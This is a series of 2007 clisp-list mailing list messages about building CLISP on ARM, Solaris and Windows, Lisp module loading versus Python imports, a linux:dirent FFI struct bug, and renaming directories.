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> On Wed, Jul 11, 2007 at 09:20:12AM -0400, Sam Steingold wrote:
>> Jamie Craig wrote:
>>> The following might shed some light on the problems:
>>> When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no 
>> what happens when you drop it?
> 
> I get a binary that crashes (segfault) when it tries to compile one of 
> the first few LISP files. (defs? I'll check and get back to you on 
> that.)

yes, defs - this is the first GC.
please try replacing SAFETY=3 with NO_GENERATIONAL_GC (see the first 50
lines of src/lispbibl.d).

> make[1]: Entering directory `/root/clisp-2.41/src/syscalls'
> gcc  -DSAFETY=3 -mcpu=arm1136j-s -W -Wswitch -Wcomment -Wpointer-arith 
> -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 
> -DUNICODE -I. -I.. -c calls.m.c -o calls.o
> In file included from calls.c:20:
> ../clisp.h:255: error: syntax error before "obj"
> clisp.h line 255 looks pretty inoffensive:
> 
> static inline unsigned int check_uint_defaulted (object obj, unsigned 
> int defolt) { return missingp(obj) ? defolt : 
> I_to_uint(check_uint(obj)); }
> 
> and it seems to be the word "object" that it objects to

indeed.
so, why isn't object defined?
you should have something like

typedef void * gcv_object_t;
typedef gcv_object_t object;

see src/genclisph.d and build/gen.lispbibl.c

> (although there's an object* type used 4 lines earlier in
> 
> #define subr_rest_function_args  (uintC argcount, object* 
> rest_args_pointer)
> 
> that doesn't bother the compiler at all)

this is a CPP macro, the compiles does not see "object" type at this
point yet.

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Hi,

On Wed, Jul 11, 2007 at 10:42:47AM -0400, Sam Steingold wrote:
> Jamie Craig wrote:
> > On Wed, Jul 11, 2007 at 09:20:12AM -0400, Sam Steingold wrote:
> >> Jamie Craig wrote:
> >>> The following might shed some light on the problems:
> >>> When I run configure (CFLAGS set to -DSAFETY=3 -mcpu=arm1136j-s, no 
> >> what happens when you drop it?
> > 
> > I get a binary that crashes (segfault) when it tries to compile one of 
> > the first few LISP files. (defs? I'll check and get back to you on 
> > that.)
> 
> yes, defs - this is the first GC.
> please try replacing SAFETY=3 with NO_GENERATIONAL_GC (see the first 50
> lines of src/lispbibl.d).

Thanks, that worked nicely. What needs done to make the generational GC 
work on a new platform? (this is a horribly RAM-starved platform, 
bearing in mind that it's running full X11 etc. in 128M, so I can see 
the GC having a fair bit of work to do. :) )

> > static inline unsigned int check_uint_defaulted (object obj, unsigned 
> > int defolt) { return missingp(obj) ? defolt : 
> > I_to_uint(check_uint(obj)); }
> > 
> > and it seems to be the word "object" that it objects to
> 
> indeed.
> so, why isn't object defined?
> you should have something like
> 
> typedef void * gcv_object_t;
> typedef gcv_object_t object;
> 
> see src/genclisph.d and build/gen.lispbibl.c

Thanks for this one too. Turned out that gen.lispbibl.c was generated 
empty, which was caused by busybox's sed not liking the regexps in the 
Makefile much. Oddly it ran OK, but deleted the contents of every line 
from the output except the header #line tag. I just installed regular 
GNU sed and it straightened that out with no further complications.

In fact, despite vacall-arm being broken, it managed to compile at least 
enough of the FFI bits and pieces for readline to work (the module seems 
to depend on the existence of it - certainly it didn't compile when 
set up with configure --without-dynamic-ffi. The defpackage in 
readline.lisp says it uses (:use "CL" "EXT" "FFI"))

So, for future reference for anyone else trying to get it going on 
small ARM linux platforms:

CFLAGS="-DNO_GENERATIONAL_GC" and install GNU sed is all it takes 
to get 
it to work on the Nokia N800. There are no particular configure options 
needed to make it work. 

Oh, and without -DSAFETY we get:

Test passed.

real    5m28.941s
user    4m58.844s
sys     0m13.234s

Not too shabby - I guess debugging adds about 10 seconds to that time 
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Thanks again for your help,

-- Jamie Craig
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Jamie Craig wrote:
>> please try replacing SAFETY=3 with NO_GENERATIONAL_GC (see the first 50
>> lines of src/lispbibl.d).
> 
> Thanks, that worked nicely. What needs done to make the generational GC 
> work on a new platform? (this is a horribly RAM-starved platform, 
> bearing in mind that it's running full X11 etc. in 128M, so I can see 
> the GC having a fair bit of work to do. :) )

Only Bruno can help you here...
All I know is what's written at the end of clisp/unix/PLATFORMS in the
"Hints for porting to new platforms" section.

> In fact, despite vacall-arm being broken, it managed to compile at least 
> enough of the FFI bits and pieces for readline to work (the module seems 
> to depend on the existence of it - certainly it didn't compile when 
> set up with configure --without-dynamic-ffi. The defpackage in 
> readline.lisp says it uses (:use "CL" "EXT" "FFI"))

apparently only floats do not work, and readline does not need them.

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jorge alberto garcia gonzalez wrote:

> Hello Bruno, i know you are busy but

Since you know that I'm busy, please ask such questions on the clisp-list
mailing list. Otherwise you will either increase my busy-ness or have your
mail ignored. Mailing lists are there for distributing the "load".

> i need to get clisp for Solaris 10, do
> you know where can i download  one package ¿?
> 
> http://riemann.solnetworks.net/~dlewis/packages/clisp/ <-- is down !

It is true that this URL on clisp.cons.org has become stale. Sam, can you
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Bruno Haible wrote:
> jorge alberto garcia gonzalez wrote:
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>> Hello Bruno, i know you are busy but
> 
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> mail ignored. Mailing lists are there for distributing the "load".

A good place to start is FAQ:
http://clisp.cons.org/impnotes/faq.html#faq-help

>> i need to get clisp for Solaris 10, do
>> you know where can i download  one package ¿?
>>
>> http://riemann.solnetworks.net/~dlewis/packages/clisp/ <-- is down !
> 
> It is true that this URL on clisp.cons.org has become stale. Sam, can you
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eventually :-)
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I did not get what is written

Regards,
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=20

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Podal Pradeepkumar J (by way of Bruno Haible <bruno@clisp.org>) wrote:
> Podal Pradeepkumar J <podalpradeepkumar_j@infosys.com> reported this.
> His platform is x86_64-unknown-linux2.6.21-gnu-glibc2.6.
>=20
> Given below are the error messages given when I run =20
>=20
> make check=20
>=20
> during installation of CLISP. I don't know what is going wrong and I m
> still learning LISP
>=20
>=20
> (PROGN (SETQ S1 (OPEN "t1.plc")) (SETQ S2 (OPEN "t2.plc")) (SETQ S3
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> SIGSEGV cannot be cured. Fault address =3D 0x0.
> Permanently allocated: 150584 bytes.
> Currently in use: 10713296 bytes.
> Free space: 3700 bytes.
> gmake[1]: *** [tests] Segmentation fault
> gmake[1]: Leaving directory
> `/home/Pradeep/Desktop/clisp-2.41/build-with-gcc/tests'
> make: *** [check-tests] Error 2

wfm
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> * Podal Pradeepkumar Jaganath <CbqnyCenqrrcxhzne_W@vasbflf.pbz> [2007-07-19 16:55:26 +0500]:
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wfm = works for me.
I cannot reproduce the crash.
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> * Podal Pradeepkumar Jaganath <CbqnyCenqrrcxhzne_W@vasbflf.pbz> [2007-07-19 16:55:26 +0500]:
>
> I did not get what is written
>
> wfm
> clisp cvs head
> glibc-2.4-11
> gcc-4.1.1-1.fc5
> Linux x2.6.18-1.2257.fc5 86_64

wfm = works for me.
I cannot reproduce the crash.
you will need to build a version of clisp instrumented for debugging:
./configure --with-debug build-g
cd build-g
gdb lisp.run
boot

and send us the backtrace.
it would be nice if you reported the bug using the SF bug tracker (see
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Hi

In order to make xindy (http://xindy.sourceforge.net/) work on windows
xp I am trying to compile clisp. 

I tried 2.33 and 2.38 (with the instructions on
http://www.frank-buss.de/lisp/clisp.html) with no luck, but after
taking the most recent win32.lisp and calls.c on cvs I am able to
compile 2.41.

However, I have a few problems:
1: makemake output has several lines looking like: 
./makemake: [: argument expected
which I had to remove to make.

2: make check gives me an error. It gives me streams.erg:
Form: (LET ((F "foo.bar") FWD SIZE DIR DECODED) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE (S F :DIRECTION :OUTPUT) (WRITE S :STREAM S) (SETQ SIZE (FILE-LENGTH S))) (WITH-OPEN-FILE (S F :DIRECTION :PROBE) (SETQ FWD (FILE-WRITE-DATE S))) (SETQ DIR (FIRST (DIRECTORY F :FULL T)) DECODED (SUBSEQ (MULTIPLE-VALUE-LIST (DECODE-UNIVERSAL-TIME FWD)) 0 6)) (LIST (OR (EQUAL (THIRD DIR) DECODED) (LIST DIR FWD DECODED)) (OR (= (FOURTH DIR) SIZE) (LIST DIR SIZE)))) (DELETE-FILE F)))
CORRECT: (T T)
CLISP  : (((#1=#P"C:\\xindy\\clisp-2.41.tar\\clisp-2.41\\src\\tests\\foo.bar" #1# (13 56 9 29 7 2007) 52) 3394684573 (13 56 6 29 7 2007)) T)
Differ at position 0: T vs ((#1=#P"C:\\xindy\\clisp-2.41.tar\\clisp-2.41\\src\\tests\\foo.bar" #1# (13 56 9 29 7 2007) 52) 3394684573 (13 56 6 29 7 2007))
CORRECT: (T T)
CLISP  : (((#1=#P"C:\\xindy\\clisp-2.41.tar\\clisp-2.41\\src\\tests\\foo.bar" #1# (13 56 9 29 7 2007) 52) 3394684573 (13 56 6 29 7 2007)) T)


3: The xindy compilation instructions says that I should get lisp.run
and lispinit.mem as the actual xindy program.

I only see lispinit.mem in my compiled clisp. I guess it is because
lisp.run is named lisp.exe on windows. Am I right?

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Brian Elmegaard <be@mek.dtu.dk> writes:

> I only see lispinit.mem in my compiled clisp. I guess it is because
> lisp.run is named lisp.exe on windows. Am I right?

This was easy. I am right. I have lisp.exe and lispinit.mem.
According to the instructions on xindy installation I now should 
	cp clisp-2.33.2/src/full/lisp.run binaries/xindy.run
	cp clisp-2.33.2/src/full/lispinit.mem binaries/base.mem

When I try to run the lisp.exe renamed to xindy.exe I get:
$ .\xindy
module 'syscalls' requires package OS.

Do I need to move something to make a renamed lisp.exe find the
modules that have been included during compile?

I can make the lisp.exe in the original location run.

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On 7/29/07, Brian Elmegaard <be@mek.dtu.dk> wrote:
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> [...]
>
> When I try to run the lisp.exe renamed to xindy.exe I get:
> $ .\xindy
> module 'syscalls' requires package OS.
>
> Do I need to move something to make a renamed lisp.exe find the
> modules that have been included during compile?

There are several command-line args that you need to pass:

  -B lisp-lib-dir
  -K linking-set
  -M mem-file

See http://www.podval.org/~sds/clisp/impnotes/clisp.html for more
information.

>From your previous email:

> I tried 2.33 and 2.38 (with the instructions on
> http://www.frank-buss.de/lisp/clisp.html) with no luck, but after
> taking the most recent win32.lisp and calls.c on cvs I am able to
> compile 2.41.

You could also compile the latest from CVS in its entirety, just so that
you have all the fixes and enhancements checked in since 2.41 was
released.

> 1: makemake output has several lines looking like:
> ./makemake: [: argument expected
> which I had to remove to make.

I have seen those warnings but in my experience they
don't result in build failure. It's not high enough priority
for me to spend time investigating right now.

> 2: make check gives me an error. It gives me streams.erg:
> [snip snip]

That particular test failure was reported and fixed in December 2005,
see

  http://article.gmane.org/gmane.lisp.clisp.devel/15067

whereas 2.41 was released in October 2006. Now, my memory
may be faulty, but I don't recall seeing that test failure when
compiling 2.41 with MinGW. Since you've apparently tried to
build at least one other prior release from source, I'd recommend
double-checking that you really are building 2.41 source. Or as
I said above, build the latest from CVS.

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On 3 ao=FBt 07, at 08:43, Richard Stallman wrote:

> Let's focus on the basic job: implementing doc string translation
> for help commands.
>
> After that is working, those who are interested can try to make
> Emacs Lisp mode display the translated doc strings.  I think it won't
> work well, but if you think I'm wrong, feel free to prove it.
>
> However, we should not let discussion of future steps distract us
> from the first step.  Would someone like to try implementing
> translation of doc strings for help commands?

A discussion started on the topic of emacs l10n a few days ago on =20
emacs-devel and reached the above conclusion.

http://lists.gnu.org/archive/html/emacs-devel/2007-07/threads.html

A similar (but shorter) discussion took place in 2001 but nothing =20
happened because there were basically no takers to write the =20
necessary code.

My understanding (...) is that the task involves elisp coding as well =20=

as C coding (for the emacs/gettext combination part).

Emacs lovers all over the world...  Any taker ?

Jean-Christophe Helary
(sadly not a coder, but willing to test and to contribute to the =20
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down)=


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"Jack Unrue" <jdunrue@gmail.com> writes:

> build at least one other prior release from source, I'd recommend
> double-checking that you really are building 2.41 source. 

I am pretty sure aout that. 

> Or as I said above, build the latest from CVS.

How do I get it? It is not clear for me from the sourceforge cvs
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On 8/8/07, Brian Elmegaard <be@mek.dtu.dk> wrote:
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> How do I get it? It is not clear for me from the sourceforge cvs
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Is this the page you're looking at?

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"Jack Unrue" <jdunrue@gmail.com> writes:

> Is this the page you're looking at?

Yes. It is obviously easy enough when you get a cvs client. Sorry.

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> I said above, build the latest from CVS.

I did now and I have the same test failure.
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Hi all,

I started playing around with Lisp for the past couple of days. I am a
python programmer so please be gentle. :-)

As I understand, there are many ways to do the the python equivalent
of an import in Lisp. You can either to a (load :filename) or (require
:filename). There is also the (import ...) thingy for which I appear
to need a (defpackage ... ) and (in-package ...). Given my Python
background, I was having a bit of a disconnect understanding the
concept in Lisp. When we do a import modulename in python, and if it
has already been imported, python does nothing. That way if there are
global variables present in the module imported, even if I import them
several times again in other modules, it would not get imported again
and my module variables will remain intact. Is there anyway, in which,
I could do the same with Lisp?

Say, I have a module called lib.lisp which has the single line.

(setf *var* 20)

I then have lib1.lisp, which has the following.

(require :lib)
(setf *var* 40)

I then have lib2.lisp which requires both lib and lib1.

(require :lib1)
(require :lib)

Then the value of *var* when finally executing lib2 is 20 and not 40.
I suspect that I am not following the lisp style of programming. If
so, can you please point me in the right direction?

Regards,
Vagmi


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Hi,

Vagmi Mudumbai wrote:
> As I understand, there are many ways to do the the python equivalent

I don't know what python import does.
I hope a python expert will chime in.


> of an import in Lisp. You can either to a (load :filename) or (require
> :filename). There is also the (import ...) thingy for which I appear
> to need a (defpackage ... ) and (in-package ...). Given my Python

these are 3 separate functions:

1. LOAD: loads a specific file, i.e., evaluates forms contained in the
file one by one. file name argument should be a string or a pathname,
although CLISP also accepts symbols.
http://clisp.cons.org/impnotes/system-dict.html#loadfile
http://www.lisp.org/HyperSpec/Body/fun_load.html

2. REQUIRE: ensures that a module is present by loading a file, if it
has not yet been loaded. the module name argument should be a symbol or
a string. if you intend to use REQUIRE, you should have a PROVIDE form
in the module.
http://clisp.cons.org/impnotes/system-dict.html#require
http://www.lisp.org/HyperSpec/Body/fun_providecm_require.html

3. IMPORT: adds symbols ("names") to the internals of a package
("namespace"). I don't think you want to do this.
http://www.lisp.org/HyperSpec/Body/fun_import.html

> Say, I have a module called lib.lisp which has the single line.
> 
> (setf *var* 20)

you probably want DEFVAR or DEFPARAMETER here.

> I then have lib1.lisp, which has the following.
> 
> (require :lib)

if you do this, you should do (PROVIDE :LIB) in lib.

> (setf *var* 40)
> 
> I then have lib2.lisp which requires both lib and lib1.
> 
> (require :lib1)
> (require :lib)
> 
> Then the value of *var* when finally executing lib2 is 20 and not 40.
> I suspect that I am not following the lisp style of programming. If
> so, can you please point me in the right direction?

namespaces are orthogonal to filenames.

if you do (DESCRIBE '*VAR*), you will be told that *VAR* is a symbol in
package CL-USER - the default package.

if you want to create other packages, you need to do that explicitly
using DEFPACKAGE:

- ---- lib.lisp ---
(defpackage #:my-pack
  (:export #:*foo* #:bar))
(in-package #:my-pack)
(defvar *foo* 42)
(defun bar (x) (+ x *foo*))
(defun baz (x) (* x *foo*))
(provide "lib")
- ---- lib.lisp ---

- ---- bil.lisp ---
;; current package = CL-USER; "lib" stuff is not available
(print *package*) ; prints #<package common-lisp-user>

(require "lib") ; "lib" stuff is now available
(print my-pack:*foo*) ; prints 42
(print (my-pack:bar 7)) ; prints 49
(print (my-pack::baz 2)) ; print 84,
; need two columns "::" because baz is not exported from my-pack

(in-package #:my-pack)
(print (baz 3)) ; prints 126, now all my-pack internals are available
directly
- ---- bil.lisp ---


your best friend is the function FIND-ALL-SYMBOLS: if you are getting
the wrong behavior, you might be using the wrong symbol.
http://www.lisp.org/HyperSpec/Body/fun_find-all-symbols.html

in general, you might find it more profitable to ask general CL question
on the comp.lang.lisp newsgroup, see
http://clisp.cons.org/impnotes/faq.html#faq-help

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"Vagmi Mudumbai" <me@vagmim.com> writes:

> Hi all,
>
> I started playing around with Lisp for the past couple of days. I am a
> python programmer so please be gentle. :-)
>
> As I understand, there are many ways to do the the python equivalent
> of an import in Lisp. You can either to a (load :filename) or (require
> :filename). There is also the (import ...) thingy for which I appear
> to need a (defpackage ... ) and (in-package ...). Given my Python
> background, I was having a bit of a disconnect understanding the
> concept in Lisp. When we do a import modulename in python, and if it
> has already been imported, python does nothing. That way if there are
> global variables present in the module imported, even if I import them
> several times again in other modules, it would not get imported again
> and my module variables will remain intact. Is there anyway, in which,
> I could do the same with Lisp?
>
> Say, I have a module called lib.lisp which has the single line.
> [...]

In addition to the nice answers you got on cll, please note that in
clisp, there's a specific notion of "module" which are object code
libraries (usually written in C, using the internals of clisp, and
with some lisp glue) that can be linked into a specific linkset for
clisp.

Clisp is a specific implementation of Common Lisp (CL) written in C.

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On Tue, Aug 21, 2007 at 10:04:58AM -0400, Sam Steingold wrote:
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> 
> Vagmi Mudumbai wrote:
> > As I understand, there are many ways to do the the python equivalent
> 
> I don't know what python import does.
> I hope a python expert will chime in.

Expert's overstating it, but I know python pretty well.

A python import is broadly similar to (require :package), but python
defines a pretty strict mapping between filenames and packages, and as
a result doesn't use provides etc.

It's also complicated a little by the ability to use the same
statement more like a LISP import, in the following form:

from packagename import symbol1,symbol2

Require is almost certainly what Vagmi's looking for; the two have
reasonably similar behaviour as long as you remember the provides.

-- Jamie




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Subject: [clisp-list] Bug in linux:dirent
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There is a problem with linux:dirent and linux:readdir:


CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/"))
#<FOREIGN-ADDRESS #x08217808>
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 19916 :D_OFF 0 :D_RECLEN 2 :D_TYPE 0 :D_NAME "")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 19819 :D_OFF 0 :D_RECLEN 40960 :D_TYPE 24 :D_NAME "")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 19917 :D_OFF 0 :D_RECLEN 11392 :D_TYPE 36 :D_NAME "")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 19921 :D_OFF 0 :D_RECLEN 10368 :D_TYPE 41 :D_NAME "")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 20051 :D_OFF 0 :D_RECLEN 5120 :D_TYPE 203 :D_NAME "
")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 20093 :D_OFF 0 :D_RECLEN 25088 :D_TYPE 124 :D_NAME "")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 19919 :D_OFF 0 :D_RECLEN 53504 :D_TYPE 59 :D_NAME "")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 19923 :D_OFF 0 :D_RECLEN 54912 :D_TYPE 117 :D_NAME "")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 20091 :D_OFF 0 :D_RECLEN 32128 :D_TYPE 207 :D_NAME "")
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 20095 :D_OFF 0 :D_RECLEN 7808 :D_TYPE 53 :D_NAME "")
CL-USER> (linux:closedir *dd*)
0
CL-USER> 


The d_name field should of course contain the file name instead of
garbage. The cause of the bug seems to be the definition of the d_off
field as off_t in linux:dirent:


CL-USER> (use-package :ffi)
T
CL-USER> (def-c-struct my-dirent
  (d_ino long)
  (d_off long)
  (d_reclen ushort)
  (d_type uchar)
  (d_name (c-array-max character 256)))

MY-DIRENT
CL-USER> (def-call-out my-readdir 
    (:name "readdir")
    (:library "libglib.so") 
    (:language :stdc)
  (:arguments (dirp c-pointer))
  (:return-type (c-ptr-null my-dirent)))
MY-READDIR
CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/"))
#<FOREIGN-ADDRESS #x08219218>
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 19916 :D_OFF 2 :D_RECLEN 16 :D_TYPE 0 :D_NAME ".")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 19819 :D_OFF 1613824 :D_RECLEN 16 :D_TYPE 0 :D_NAME "..")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 19917 :D_OFF 2370688 :D_RECLEN 16 :D_TYPE 0 :D_NAME "CVS")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 19921 :D_OFF 2697344 :D_RECLEN 16 :D_TYPE 0 :D_NAME "doc")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 20051 :D_OFF 30086144 :D_RECLEN 16 :D_TYPE 0 :D_NAME "src")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 20093 :D_OFF 108814848 :D_RECLEN 16 :D_TYPE 0 :D_NAME "unix")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 19919 :D_OFF 289132800 :D_RECLEN 24 :D_TYPE 0 :D_NAME "benchmarks")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 19923 :D_OFF 326489728 :D_RECLEN 20 :D_TYPE 0 :D_NAME "emacs")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 20091 :D_OFF 332365184 :D_RECLEN 20 :D_TYPE 0 :D_NAME "tests")
CL-USER> (my-readdir *dd*)
#S(MY-DIRENT :D_INO 20095 :D_OFF 473243264 :D_RECLEN 20 :D_TYPE 0 :D_NAME "utils")
CL-USER> (linux:closedir *dd*)
0
CL-USER> 


off_t is defined in modules/bindings/glibc/linux.lisp by the following
two def-c-type:

(def-c-type __off_t long)
(def-c-type off_t __off_t)

but for some reasons I can't figure out d_off ends up to be a bit:


CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/"))
#<FOREIGN-ADDRESS #x08219218>
CL-USER> (linux:readdir *dd*)
#S(LINUX:dirent :D_INO 19916 :D_OFF 0 :D_RECLEN 2 :D_TYPE 0 :D_NAME "")
CL-USER> (inspect *)
#S(LINUX:dirent :D_INO 19916 :D_OFF 0 :D_RECLEN 2 :D_TYPE 0 :D_NAME ""):  structure object
 type: LINUX:dirent
0 [D_INO]:  19916
1 [D_OFF]:  0
2 [D_RECLEN]:  2
3 [D_TYPE]:  0
4 [D_NAME]:  ""
INSPECT-- type :h for help; :q to return to the REPL ---> 1

0:  atom
 type: BIT
 class: #1=#<BUILT-IN-CLASS INTEGER>
INSPECT-- type :h for help; :q to return to the REPL ---> 


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I'm trying to rename a directory with CLISP (from CVS HEAD, on
NetBSD/powerpc).  However, RENAME-FILE doesn't do what I want:

[1]> (rename-file "/tmp/foo/" "/tmp/bar/")

*** - no file name given: #P"/tmp/foo/"

[3]> (rename-file "/tmp/foo" "/tmp/bar")

*** - RENAME-FILE: "/tmp/foo" names a directory, not a file

Is that a bug or a feature?  Should I use some other function?

Magnus



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Magnus Henoch wrote:
> I'm trying to rename a directory with CLISP (from CVS HEAD, on
> NetBSD/powerpc).  However, RENAME-FILE doesn't do what I want:
> 
> [1]> (rename-file "/tmp/foo/" "/tmp/bar/")
> 
> *** - no file name given: #P"/tmp/foo/"
> 
> [3]> (rename-file "/tmp/foo" "/tmp/bar")
> 
> *** - RENAME-FILE: "/tmp/foo" names a directory, not a file
> 
> Is that a bug or a feature?  Should I use some other function?

CLISP has traditionally taken the position that "file" and "directory"
are disjoint categories, so, if a function operates on "files", it
should reject "directories".
e.g., in CLISP, PROBE-FILE does not work on directories, while
EXT:PROBE-DIRECTORY does not work on files (those who want one probe
function, can use DIRECTORY).
in the case of RENAME-FILE, there is no function RENAME-DIRECTORY, so we
either need to make the former work on directories, or add the latter.

what is the better option?

Sam.


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On 22 ao=FBt 07, at 16:00, Sam Steingold wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Magnus Henoch wrote:
>> I'm trying to rename a directory with CLISP (from CVS HEAD, on
>> NetBSD/powerpc).  However, RENAME-FILE doesn't do what I want:
>>
>> [1]> (rename-file "/tmp/foo/" "/tmp/bar/")
>>
>> *** - no file name given: #P"/tmp/foo/"
>>
>> [3]> (rename-file "/tmp/foo" "/tmp/bar")
>>
>> *** - RENAME-FILE: "/tmp/foo" names a directory, not a file
>>
>> Is that a bug or a feature?  Should I use some other function?
>
> CLISP has traditionally taken the position that "file" and "directory"
> are disjoint categories, so, if a function operates on "files", it
> should reject "directories".
> e.g., in CLISP, PROBE-FILE does not work on directories, while
> EXT:PROBE-DIRECTORY does not work on files (those who want one probe
> function, can use DIRECTORY).
> in the case of RENAME-FILE, there is no function RENAME-DIRECTORY, =20
> so we
> either need to make the former work on directories, or add the latter.
>
> what is the better option?

To stay in the tradition, RENAME-DIRECTORY.

The only downside, is that the current platforms are all more or less
POSIX, where a directory "is a" file, so people would expect to use the
same functions on files and directories.

Still, I think that EXT:RENAME-DIRECTORY would be better, because =20
RENAME-FILE
has some special treatment of its arguments that might not be =20
indicated for
directories.


--=20
__Pascal Bourguignon__




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Aurelio Bignoli wrote:
> There is a problem with linux:dirent and linux:readdir:
> 
> 
> CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/"))
> #<FOREIGN-ADDRESS #x08217808>
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 19916 :D_OFF 0 :D_RECLEN 2 :D_TYPE 0 :D_NAME "")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 19819 :D_OFF 0 :D_RECLEN 40960 :D_TYPE 24 :D_NAME "")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 19917 :D_OFF 0 :D_RECLEN 11392 :D_TYPE 36 :D_NAME "")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 19921 :D_OFF 0 :D_RECLEN 10368 :D_TYPE 41 :D_NAME "")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 20051 :D_OFF 0 :D_RECLEN 5120 :D_TYPE 203 :D_NAME "
")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 20093 :D_OFF 0 :D_RECLEN 25088 :D_TYPE 124 :D_NAME "")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 19919 :D_OFF 0 :D_RECLEN 53504 :D_TYPE 59 :D_NAME "")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 19923 :D_OFF 0 :D_RECLEN 54912 :D_TYPE 117 :D_NAME "")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 20091 :D_OFF 0 :D_RECLEN 32128 :D_TYPE 207 :D_NAME "")
> CL-USER> (linux:readdir *dd*)
> #S(LINUX:dirent :D_INO 20095 :D_OFF 0 :D_RECLEN 7808 :D_TYPE 53 :D_NAME "")
> CL-USER> (linux:closedir *dd*)
> 0
> CL-USER> 
> 

yep.
a bug.
please file a bug report on SF.
thanks.

> The d_name field should of course contain the file name instead of
> garbage. The cause of the bug seems to be the definition of the d_off
> field as off_t in linux:dirent:
> 
> 
> CL-USER> (use-package :ffi)
> T
> CL-USER> (def-c-struct my-dirent
>   (d_ino long)
>   (d_off long)
>   (d_reclen ushort)
>   (d_type uchar)
>   (d_name (c-array-max character 256)))
> 
> MY-DIRENT
> CL-USER> (def-call-out my-readdir 
>     (:name "readdir")
>     (:library "libglib.so") 
>     (:language :stdc)
>   (:arguments (dirp c-pointer))
>   (:return-type (c-ptr-null my-dirent)))
> MY-READDIR
> CL-USER> (setf *dd* (linux:opendir "/usr/local/src/clisp/"))
> #<FOREIGN-ADDRESS #x08219218>
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 19916 :D_OFF 2 :D_RECLEN 16 :D_TYPE 0 :D_NAME ".")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 19819 :D_OFF 1613824 :D_RECLEN 16 :D_TYPE 0 :D_NAME "..")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 19917 :D_OFF 2370688 :D_RECLEN 16 :D_TYPE 0 :D_NAME "CVS")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 19921 :D_OFF 2697344 :D_RECLEN 16 :D_TYPE 0 :D_NAME "doc")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 20051 :D_OFF 30086144 :D_RECLEN 16 :D_TYPE 0 :D_NAME "src")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 20093 :D_OFF 108814848 :D_RECLEN 16 :D_TYPE 0 :D_NAME "unix")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 19919 :D_OFF 289132800 :D_RECLEN 24 :D_TYPE 0 :D_NAME "benchmarks")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 19923 :D_OFF 326489728 :D_RECLEN 20 :D_TYPE 0 :D_NAME "emacs")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 20091 :D_OFF 332365184 :D_RECLEN 20 :D_TYPE 0 :D_NAME "tests")
> CL-USER> (my-readdir *dd*)
> #S(MY-DIRENT :D_INO 20095 :D_OFF 473243264 :D_RECLEN 20 :D_TYPE 0 :D_NAME "utils")
> CL-USER> (linux:closedir *dd*)
> 0
> CL-USER> 
> 
> 
> off_t is defined in modules/bindings/glibc/linux.lisp by the following
> two def-c-type:
> 
> (def-c-type __off_t long)
> (def-c-type off_t __off_t)

yeah, this is is a big problem with any ffi: how to figure out the types.
alas, the only reliable way is to use a C compiler (i.e., C modules).
the ffi relies on humans delivering correct type definitions, and this
means changing the lisp files when the libc changes (and then old
machines are no longer supported).
I think I will try to implement (def-c-type foo) to mean "ask C compiler
about size of foo".
please file a bug report in the meantime...

thanks.



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>> Magnus Henoch wrote:
>>> I'm trying to rename a directory with CLISP (from CVS HEAD, on
>>> NetBSD/powerpc).  However, RENAME-FILE doesn't do what I want:
>>>
>>> [1]> (rename-file "/tmp/foo/" "/tmp/bar/")
>>>
>>> *** - no file name given: #P"/tmp/foo/"
>>>
>>> [3]> (rename-file "/tmp/foo" "/tmp/bar")
>>>
>>> *** - RENAME-FILE: "/tmp/foo" names a directory, not a file
>>>
>>> Is that a bug or a feature?  Should I use some other function?
>> CLISP has traditionally taken the position that "file" and "directory"
>> are disjoint categories, so, if a function operates on "files", it
>> should reject "directories".
